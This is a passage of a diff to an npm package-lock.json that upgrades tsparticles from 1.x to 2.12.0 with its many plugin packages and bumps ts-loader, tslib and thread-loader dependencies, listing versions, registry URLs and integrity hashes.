"sha512-UOk/KBydsQjh4Ja5kocxDUzhv11KYptHN/h8gdSwo6/MBkYrWqQua6K2qwlpXnCXS9c/uLs8F/JF8rpveF0+fA==", "dev": true, "dependencies": { "json-parse-better-errors": "^1.0.2", "loader-runner": "^4.1.0", - "loader-utils": "^2.0.0", "neo-async": "^2.6.2", - "schema-utils": "^3.0.0" + "schema-utils": "^4.0.1" }, "engines": { - "node": ">= 10.13.0" + "node": ">= 16.10.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/webpack" }, "peerDependencies": { - "webpack": "^4.27.0 || ^5.0.0" - } - }, - "node_modules/thread-loader/node_modules/ajv": { - "version": "6.12.6", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", - "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", - "dev": true, - "dependencies": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/thread-loader/node_modules/ajv-keywords": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", - "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", - "dev": true, - "peerDependencies": { - "ajv": "^6.9.1" - } - }, - "node_modules/thread-loader/node_modules/json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true - }, - "node_modules/thread-loader/node_modules/schema-utils": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", - "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", - "dev": true, - "dependencies": { - "@types/json-schema": "^7.0.8", - "ajv": "^6.12.5", - "ajv-keywords": "^3.5.2" - }, - "engines": { - "node": ">= 10.13.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" + "webpack": "^5.0.0" } }, "node_modules/through2": { @@ -15292,6 +15902,12 @@ "xtend": "~4.0.1" } }, + "node_modules/through2/node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "dev": true + }, "node_modules/through2/node_modules/readable-stream": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", @@ -15345,11 +15961,6 @@ "integrity": "sha512-qsdtZH+vMoCARQtyod4imc2nIJwg9Cc7lPRrw9CzF8ZKR0khdr8+2nX80PBhET3tcyTtJDxAffGh2rXH4tyU8A==", "peer": true }, - "node_modules/tiny-warning": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/tiny-warning/-/tiny-warning-1.0.3.tgz", - "integrity": "sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA==" - }, "node_modules/to-fast-properties": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", @@ -15415,9 +16026,9 @@ } }, "node_modules/ts-loader": { - "version": "9.4.2", - "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-9.4.2.tgz", - "integrity": "sha512-OmlC4WVmFv5I0PpaxYb+qGeGOdm5giHU7HwDDUjw59emP2UYMHy9fFSDcYgSNoH8sXcj4hGCSEhlDZ9ULeDraA==", + "version": "9.4.4", + "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-9.4.4.tgz", + "integrity": "sha512-MLukxDHBl8OJ5Dk3y69IsKVFRA/6MwzEqBgh+OXMPB/OD01KQuWPFd1WAQP8a5PeSCAxfnkhiuWqfmFJzJQt9w==", "dev": true, "dependencies": { "chalk": "^4.1.0", @@ -15448,82 +16059,538 @@ "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, - "node_modules/ts-loader/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, + "node_modules/ts-loader/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/ts-loader/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/ts-loader/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/ts-loader/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ts-loader/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tslib": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz", + "integrity": "sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==" + }, + "node_modules/tsparticles": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-2.12.0.tgz", + "integrity": "sha512-aw77llkaEhcKYUHuRlggA6SB1Dpa814/nrStp9USGiDo5QwE1Ckq30QAgdXU6GRvnblUFsiO750ZuLQs5Y0tVw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/matteobruni" + }, + { + "type": "github", + "url": "https://github.com/sponsors/tsparticles" + }, + { + "type": "buymeacoffee", + "url": "https://www.buymeacoffee.com/matteobruni" + } + ], + "dependencies": { + "tsparticles-engine": "^2.12.0", + "tsparticles-interaction-external-trail": "^2.12.0", + "tsparticles-plugin-absorbers": "^2.12.0", + "tsparticles-plugin-emitters": "^2.12.0", + "tsparticles-slim": "^2.12.0", + "tsparticles-updater-destroy": "^2.12.0", + "tsparticles-updater-roll": "^2.12.0", + "tsparticles-updater-tilt": "^2.12.0", + "tsparticles-updater-twinkle": "^2.12.0", + "tsparticles-updater-wobble": "^2.12.0" + } + }, + "node_modules/tsparticles-basic": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-basic/-/tsparticles-basic-2.12.0.tgz", + "integrity": "sha512-pN6FBpL0UsIUXjYbiui5+IVsbIItbQGOlwyGV55g6IYJBgdTNXgFX0HRYZGE9ZZ9psEXqzqwLM37zvWnb5AG9g==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/matteobruni" + }, + { + "type": "github", + "url": "https://github.com/sponsors/tsparticles" + }, + { + "type": "buymeacoffee", + "url": "https://www.buymeacoffee.com/matteobruni" + } + ], + "dependencies": { + "tsparticles-engine": "^2.12.0", + "tsparticles-move-base": "^2.12.0", + "tsparticles-shape-circle": "^2.12.0", + "tsparticles-updater-color": "^2.12.0", + "tsparticles-updater-opacity": "^2.12.0", + "tsparticles-updater-out-modes": "^2.12.0", + "tsparticles-updater-size": "^2.12.0" + } + }, + "node_modules/tsparticles-engine": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-engine/-/tsparticles-engine-2.12.0.tgz", + "integrity": "sha512-ZjDIYex6jBJ4iMc9+z0uPe7SgBnmb6l+EJm83MPIsOny9lPpetMsnw/8YJ3xdxn8hV+S3myTpTN1CkOVmFv0QQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/matteobruni" + }, + { + "type": "github", + "url": "https://github.com/sponsors/tsparticles" + }, + { + "type": "buymeacoffee", + "url": "https://www.buymeacoffee.com/matteobruni" + } + ], + "hasInstallScript": true + }, + "node_modules/tsparticles-interaction-external-attract": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-interaction-external-attract/-/tsparticles-interaction-external-attract-2.12.0.tgz", + "integrity": "sha512-0roC6D1QkFqMVomcMlTaBrNVjVOpyNzxIUsjMfshk2wUZDAvTNTuWQdUpmsLS4EeSTDN3rzlGNnIuuUQqyBU5w==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-interaction-external-bounce": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-interaction-external-bounce/-/tsparticles-interaction-external-bounce-2.12.0.tgz", + "integrity": "sha512-MMcqKLnQMJ30hubORtdq+4QMldQ3+gJu0bBYsQr9BsThsh8/V0xHc1iokZobqHYVP5tV77mbFBD8Z7iSCf0TMQ==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-interaction-external-bubble": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-interaction-external-bubble/-/tsparticles-interaction-external-bubble-2.12.0.tgz", + "integrity": "sha512-5kImCSCZlLNccXOHPIi2Yn+rQWTX3sEa/xCHwXW19uHxtILVJlnAweayc8+Zgmb7mo0DscBtWVFXHPxrVPFDUA==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-interaction-external-connect": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-interaction-external-connect/-/tsparticles-interaction-external-connect-2.12.0.tgz", + "integrity": "sha512-ymzmFPXz6AaA1LAOL5Ihuy7YSQEW8MzuSJzbd0ES13U8XjiU3HlFqlH6WGT1KvXNw6WYoqrZt0T3fKxBW3/C3A==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-interaction-external-grab": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-interaction-external-grab/-/tsparticles-interaction-external-grab-2.12.0.tgz", + "integrity": "sha512-iQF/A947hSfDNqAjr49PRjyQaeRkYgTYpfNmAf+EfME8RsbapeP/BSyF6mTy0UAFC0hK2A2Hwgw72eT78yhXeQ==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-interaction-external-pause": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-interaction-external-pause/-/tsparticles-interaction-external-pause-2.12.0.tgz", + "integrity": "sha512-4SUikNpsFROHnRqniL+uX2E388YTtfRWqqqZxRhY0BrijH4z04Aii3YqaGhJxfrwDKkTQlIoM2GbFT552QZWjw==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-interaction-external-push": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-interaction-external-push/-/tsparticles-interaction-external-push-2.12.0.tgz", + "integrity": "sha512-kqs3V0dgDKgMoeqbdg+cKH2F+DTrvfCMrPF1MCCUpBCqBiH+TRQpJNNC86EZYHfNUeeLuIM3ttWwIkk2hllR/Q==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-interaction-external-remove": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-interaction-external-remove/-/tsparticles-interaction-external-remove-2.12.0.tgz", + "integrity": "sha512-2eNIrv4m1WB2VfSVj46V2L/J9hNEZnMgFc+A+qmy66C8KzDN1G8aJUAf1inW8JVc0lmo5+WKhzex4X0ZSMghBg==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-interaction-external-repulse": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-interaction-external-repulse/-/tsparticles-interaction-external-repulse-2.12.0.tgz", + "integrity": "sha512-rSzdnmgljeBCj5FPp4AtGxOG9TmTsK3AjQW0vlyd1aG2O5kSqFjR+FuT7rfdSk9LEJGH5SjPFE6cwbuy51uEWA==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-interaction-external-slow": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-interaction-external-slow/-/tsparticles-interaction-external-slow-2.12.0.tgz", + "integrity": "sha512-2IKdMC3om7DttqyroMtO//xNdF0NvJL/Lx7LDo08VpfTgJJozxU+JAUT8XVT7urxhaDzbxSSIROc79epESROtA==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-interaction-external-trail": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-interaction-external-trail/-/tsparticles-interaction-external-trail-2.12.0.tgz", + "integrity": "sha512-LKSapU5sPTaZqYx+y5VJClj0prlV7bswplSFQaIW1raXkvsk45qir2AVcpP5JUhZSFSG+SwsHr+qCgXhNeN1KA==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-interaction-particles-attract": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-interaction-particles-attract/-/tsparticles-interaction-particles-attract-2.12.0.tgz", + "integrity": "sha512-Hl8qwuwF9aLq3FOkAW+Zomu7Gb8IKs6Y3tFQUQScDmrrSCaeRt2EGklAiwgxwgntmqzL7hbMWNx06CHHcUQKdQ==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-interaction-particles-collisions": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-interaction-particles-collisions/-/tsparticles-interaction-particles-collisions-2.12.0.tgz", + "integrity": "sha512-Se9nPWlyPxdsnHgR6ap4YUImAu3W5MeGKJaQMiQpm1vW8lSMOUejI1n1ioIaQth9weKGKnD9rvcNn76sFlzGBA==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-interaction-particles-links": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-interaction-particles-links/-/tsparticles-interaction-particles-links-2.12.0.tgz", + "integrity": "sha512-e7I8gRs4rmKfcsHONXMkJnymRWpxHmeaJIo4g2NaDRjIgeb2AcJSWKWZvrsoLnm7zvaf/cMQlbN6vQwCixYq3A==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-move-base": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-move-base/-/tsparticles-move-base-2.12.0.tgz", + "integrity": "sha512-oSogCDougIImq+iRtIFJD0YFArlorSi8IW3HD2gO3USkH+aNn3ZqZNTqp321uB08K34HpS263DTbhLHa/D6BWw==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-move-parallax": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-move-parallax/-/tsparticles-move-parallax-2.12.0.tgz", + "integrity": "sha512-58CYXaX8Ih5rNtYhpnH0YwU4Ks7gVZMREGUJtmjhuYN+OFr9FVdF3oDIJ9N6gY5a5AnAKz8f5j5qpucoPRcYrQ==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-particles.js": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-particles.js/-/tsparticles-particles.js-2.12.0.tgz", + "integrity": "sha512-LyOuvYdhbUScmA4iDgV3LxA0HzY1DnOwQUy3NrPYO393S2YwdDjdwMod6Btq7EBUjg9FVIh+sZRizgV5elV2dg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/matteobruni" + }, + { + "type": "github", + "url": "https://github.com/sponsors/tsparticles" + }, + { + "type": "buymeacoffee", + "url": "https://www.buymeacoffee.com/matteobruni" + } + ], + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-plugin-absorbers": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-plugin-absorbers/-/tsparticles-plugin-absorbers-2.12.0.tgz", + "integrity": "sha512-2CkPreaXHrE5VzFlxUKLeRB5t66ff+3jwLJoDFgQcp+R4HOEITo0bBZv2DagGP0QZdYN4grpnQzRBVdB4d1rWA==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-plugin-easing-quad": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-plugin-easing-quad/-/tsparticles-plugin-easing-quad-2.12.0.tgz", + "integrity": "sha512-2mNqez5pydDewMIUWaUhY5cNQ80IUOYiujwG6qx9spTq1D6EEPLbRNAEL8/ecPdn2j1Um3iWSx6lo340rPkv4Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/matteobruni" + }, + { + "type": "github", + "url": "https://github.com/sponsors/tsparticles" + }, + { + "type": "buymeacoffee", + "url": "https://www.buymeacoffee.com/matteobruni" + } + ], + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-plugin-emitters": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-plugin-emitters/-/tsparticles-plugin-emitters-2.12.0.tgz", + "integrity": "sha512-fbskYnaXWXivBh9KFReVCfqHdhbNQSK2T+fq2qcGEWpwtDdgujcaS1k2Q/xjZnWNMfVesik4IrqspcL51gNdSA==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-shape-circle": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-shape-circle/-/tsparticles-shape-circle-2.12.0.tgz", + "integrity": "sha512-L6OngbAlbadG7b783x16ns3+SZ7i0SSB66M8xGa5/k+YcY7zm8zG0uPt1Hd+xQDR2aNA3RngVM10O23/Lwk65Q==", "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "tsparticles-engine": "^2.12.0" } }, - "node_modules/ts-loader/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, + "node_modules/tsparticles-shape-image": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-shape-image/-/tsparticles-shape-image-2.12.0.tgz", + "integrity": "sha512-iCkSdUVa40DxhkkYjYuYHr9MJGVw+QnQuN5UC+e/yBgJQY+1tQL8UH0+YU/h0GHTzh5Sm+y+g51gOFxHt1dj7Q==", "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" + "tsparticles-engine": "^2.12.0" } }, - "node_modules/ts-loader/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true + "node_modules/tsparticles-shape-line": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-shape-line/-/tsparticles-shape-line-2.12.0.tgz", + "integrity": "sha512-RcpKmmpKlk+R8mM5wA2v64Lv1jvXtU4SrBDv3vbdRodKbKaWGGzymzav1Q0hYyDyUZgplEK/a5ZwrfrOwmgYGA==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } }, - "node_modules/ts-loader/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "engines": { - "node": ">=8" + "node_modules/tsparticles-shape-polygon": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-shape-polygon/-/tsparticles-shape-polygon-2.12.0.tgz", + "integrity": "sha512-5YEy7HVMt1Obxd/jnlsjajchAlYMr9eRZWN+lSjcFSH6Ibra7h59YuJVnwxOxAobpijGxsNiBX0PuGQnB47pmA==", + "dependencies": { + "tsparticles-engine": "^2.12.0" } }, - "node_modules/ts-loader/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, + "node_modules/tsparticles-shape-square": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-shape-square/-/tsparticles-shape-square-2.12.0.tgz", + "integrity": "sha512-33vfajHqmlODKaUzyPI/aVhnAOT09V7nfEPNl8DD0cfiNikEuPkbFqgJezJuE55ebtVo7BZPDA9o7GYbWxQNuw==", "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" + "tsparticles-engine": "^2.12.0" } }, - "node_modules/tslib": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", - "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==" + "node_modules/tsparticles-shape-star": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-shape-star/-/tsparticles-shape-star-2.12.0.tgz", + "integrity": "sha512-4sfG/BBqm2qBnPLASl2L5aBfCx86cmZLXeh49Un+TIR1F5Qh4XUFsahgVOG0vkZQa+rOsZPEH04xY5feWmj90g==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } }, - "node_modules/tsparticles": { - "version": "1.43.1", - "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.43.1.tgz", - "integrity": "sha512-6EuHncwqzoyTlUxc11YH8LVlwVUgpYaZD0yMOeA2OvRqFZ9VQV8EjjQ6ZfXt6pfGA1ObPwU929jveFatxwTQkg==", - "deprecated": "tsParticles 2.6.0 is out, please update", + "node_modules/tsparticles-shape-text": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-shape-text/-/tsparticles-shape-text-2.12.0.tgz", + "integrity": "sha512-v2/FCA+hyTbDqp2ymFOe97h/NFb2eezECMrdirHWew3E3qlvj9S/xBibjbpZva2gnXcasBwxn0+LxKbgGdP0rA==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-slim": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-slim/-/tsparticles-slim-2.12.0.tgz", + "integrity": "sha512-27w9aGAAAPKHvP4LHzWFpyqu7wKyulayyaZ/L6Tuuejy4KP4BBEB4rY5GG91yvAPsLtr6rwWAn3yS+uxnBDpkA==", "funding": [ { "type": "github", "url": "https://github.com/sponsors/matteobruni" }, + { + "type": "github", + "url": "https://github.com/sponsors/tsparticles" + }, { "type": "buymeacoffee", "url": "https://www.buymeacoffee.com/matteobruni" } ], - "hasInstallScript": true + "dependencies": { + "tsparticles-basic": "^2.12.0", + "tsparticles-engine": "^2.12.0", + "tsparticles-interaction-external-attract": "^2.12.0", + "tsparticles-interaction-external-bounce": "^2.12.0", + "tsparticles-interaction-external-bubble": "^2.12.0", + "tsparticles-interaction-external-connect": "^2.12.0", + "tsparticles-interaction-external-grab": "^2.12.0", + "tsparticles-interaction-external-pause": "^2.12.0", + "tsparticles-interaction-external-push": "^2.12.0", + "tsparticles-interaction-external-remove": "^2.12.0", + "tsparticles-interaction-external-repulse": "^2.12.0", + "tsparticles-interaction-external-slow": "^2.12.0", + "tsparticles-interaction-particles-attract": "^2.12.0", + "tsparticles-interaction-particles-collisions": "^2.12.0", + "tsparticles-interaction-particles-links": "^2.12.0", + "tsparticles-move-base": "^2.12.0", + "tsparticles-move-parallax": "^2.12.0", + "tsparticles-particles.js": "^2.12.0", + "tsparticles-plugin-easing-quad": "^2.12.0", + "tsparticles-shape-circle": "^2.12.0", + "tsparticles-shape-image": "^2.12.0", + "tsparticles-shape-line": "^2.12.0", + "tsparticles-shape-polygon": "^2.12.0", + "tsparticles-shape-square": "^2.12.0", + "tsparticles-shape-star": "^2.12.0", + "tsparticles-shape-text": "^2.12.0", + "tsparticles-updater-color": "^2.12.0", + "tsparticles-updater-life": "^2.12.0", + "tsparticles-updater-opacity": "^2.12.0", + "tsparticles-updater-out-modes": "^2.12.0", + "tsparticles-updater-rotate": "^2.12.0", + "tsparticles-updater-size": "^2.12.0", + "tsparticles-updater-stroke-color": "^2.12.0" + } + }, + "node_modules/tsparticles-updater-color": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-updater-color/-/tsparticles-updater-color-2.12.0.tgz", + "integrity": "sha512-KcG3a8zd0f8CTiOrylXGChBrjhKcchvDJjx9sp5qpwQK61JlNojNCU35xoaSk2eEHeOvFjh0o3CXWUmYPUcBTQ==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-updater-destroy": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-updater-destroy/-/tsparticles-updater-destroy-2.12.0.tgz", + "integrity": "sha512-6NN3dJhxACvzbIGL4dADbYQSZJmdHfwjujj1uvnxdMbb2x8C/AZzGxiN33smo4jkrZ5VLEWZWCJPJ8aOKjQ2Sg==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-updater-life": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-updater-life/-/tsparticles-updater-life-2.12.0.tgz", + "integrity": "sha512-J7RWGHAZkowBHpcLpmjKsxwnZZJ94oGEL2w+wvW1/+ZLmAiFFF6UgU0rHMC5CbHJT4IPx9cbkYMEHsBkcRJ0Bw==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-updater-opacity": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-updater-opacity/-/tsparticles-updater-opacity-2.12.0.tgz", + "integrity": "sha512-YUjMsgHdaYi4HN89LLogboYcCi1o9VGo21upoqxq19yRy0hRCtx2NhH22iHF/i5WrX6jqshN0iuiiNefC53CsA==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-updater-out-modes": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-updater-out-modes/-/tsparticles-updater-out-modes-2.12.0.tgz", + "integrity": "sha512-owBp4Gk0JNlSrmp12XVEeBroDhLZU+Uq3szbWlHGSfcR88W4c/0bt0FiH5bHUqORIkw+m8O56hCjbqwj69kpOQ==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-updater-roll": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-updater-roll/-/tsparticles-updater-roll-2.12.0.tgz", + "integrity": "sha512-dxoxY5jP4C9x15BxlUv5/Q8OjUPBiE09ToXRyBxea9aEJ7/iMw6odvi1HuT0H1vTIfV7o1MYawjeCbMycvODKQ==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, + "node_modules/tsparticles-updater-rotate": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/tsparticles-updater-rotate/-/tsparticles-updater-rotate-2.12.0.tgz", + "integrity": "sha512-waOFlGFmEZOzsQg4C4VSejNVXGf4dMf3fsnQrEROASGf1FCd8B6WcZau7JtXSTFw0OUGuk8UGz36ETWN72DkCw==", + "dependencies": { + "tsparticles-engine": "^2.12.0" + } + }, 